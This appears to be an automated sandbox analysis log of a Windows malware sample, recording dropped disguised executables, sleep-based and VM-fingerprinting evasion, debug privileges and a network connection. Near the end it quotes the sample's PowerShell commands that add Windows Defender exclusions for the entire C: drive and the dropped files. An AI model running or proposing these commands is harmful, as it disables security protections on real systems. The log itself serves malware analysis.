Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2393
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1554
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1509
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1512
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1425
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1485
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1625
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1469
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1595
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1571
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1245
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1581
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 967
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1247

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Windows\System32\SecurityHealthSystray.exe	Jump to dropped file
Source: C:\Windows\Tasks\explorer.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\lqHRDSoi.log	Jump to dropped file
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\IWZmSUOS.log	Jump to dropped file
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\qKxhyytD.log	Jump to dropped file
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\gWTqOnyV.log	Jump to dropped file
Source: C:\Windows\Tasks\explorer.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\GxmnOonm.log	Jump to dropped file
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\ozbgygOD.log	Jump to dropped file
Source: C:\Windows\Tasks\explorer.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\FQJMKusv.log	Jump to dropped file
Source: C:\Windows\Tasks\explorer.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\WdtCbgnJ.log	Jump to dropped file
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\znGWisJl.log	Jump to dropped file
Source: C:\Windows\Tasks\explorer.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\TegMjxUT.log	Jump to dropped file
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\MMQdZROL.log	Jump to dropped file
Source: C:\Windows\Tasks\explorer.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\UKABrbpL.log	Jump to dropped file

Source: C:\Users\user\Desktop\01YP9Lwum8.exe TID: 1272	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe TID: 2416	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe TID: 7156	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8492	Thread sleep count: 1461 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7768	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9036	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8452	Thread sleep count: 1419 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8416	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8888	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8540	Thread sleep count: 1358 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8300	Thread sleep time: -9223372036854770s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8984	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8520	Thread sleep count: 1053 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8900	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9084	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8516	Thread sleep count: 2393 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8276	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9076	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8580	Thread sleep count: 1554 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8504	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9052	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8568	Thread sleep count: 1509 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8224	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9016	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8584	Thread sleep count: 1512 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8472	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9008	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8544	Thread sleep count: 1425 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4476	Thread sleep time: -7378697629483816s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9000	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8348	Thread sleep count: 1485 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8372	Thread sleep time: -9223372036854770s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9024	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8724	Thread sleep count: 1625 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8400	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9068	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8612	Thread sleep count: 1469 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5772	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9100	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8696	Thread sleep count: 1595 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5328	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9108	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8644	Thread sleep count: 1571 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8340	Thread sleep time: -11068046444225724s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8972	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8688	Thread sleep count: 1245 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8484	Thread sleep time: -12912720851596678s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9092	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8572	Thread sleep count: 1581 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3332	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9044	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8672	Thread sleep count: 967 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8444	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9060	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8792	Thread sleep count: 1247 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8384	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8292	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 9188	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\Desktop\01YP9Lwum8.exe TID: 9508	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\Desktop\01YP9Lwum8.exe TID: 9780	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Tasks\explorer.exe TID: 8964	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Tasks\explorer.exe TID: 9248	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\Tasks\explorer.exe TID: 8880	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe TID: 1720	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe TID: 9428	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\Desktop\01YP9Lwum8.exe TID: 5472	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe TID: 9456	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\Desktop\01YP9Lwum8.exe TID: 3396	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe TID: 9668	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\Tasks\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
Source: C:\Windows\Tasks\explorer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\Tasks\explorer.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Windows\Tasks\explorer.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\Tasks\explorer.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\Tasks\explorer.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\01YP9Lwum8.exe

Code function: 0_2_00007FFD9B8B8B98 GetSystemInfo,

0_2_00007FFD9B8B8B98

Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Tasks\explorer.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Tasks\explorer.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: 01YP9Lwum8.exe, 00000000.00000002.1994672240.000000001E310000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\

Source: C:\Users\user\Desktop\01YP9Lwum8.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process token adjusted: Debug
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process token adjusted: Debug
Source: C:\Windows\Tasks\explorer.exe	Process token adjusted: Debug
Source: C:\Windows\Tasks\explorer.exe	Process token adjusted: Debug
Source: C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\01YP9Lwum8.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\Tasks\explorer.exe

Network Connect: 188.114.97.3 80

.NET source code references suspicious native API functions

Source: 01YP9Lwum8.exe, Class73.cs	Reference to suspicious API methods: A86.VirtualProtect(intPtr, (UIntPtr)(ulong)num, A86.OkN.flag_2, out var okN_)
Source: 01YP9Lwum8.exe, Class74.cs	Reference to suspicious API methods: A86.GetProcAddress(A86.GetModuleHandle(string_0), string_1)
Source: 01YP9Lwum8.exe, AFA.cs	Reference to suspicious API methods: A86.VirtualAlloc(intPtr3, (IntPtr)uint_0, A86.U14.flag_0 \| A86.U14.flag_1, A86.OkN.flag_2)

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/'
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$WinREAgent/'
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default User\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe'
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows sidebar\Gadgets\IMiOGCAyeLWFuBBcn.exe'
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\common files\DESIGNER\IMiOGCAyeLWFuBBcn.exe'
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Tasks\explorer.exe'
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe'
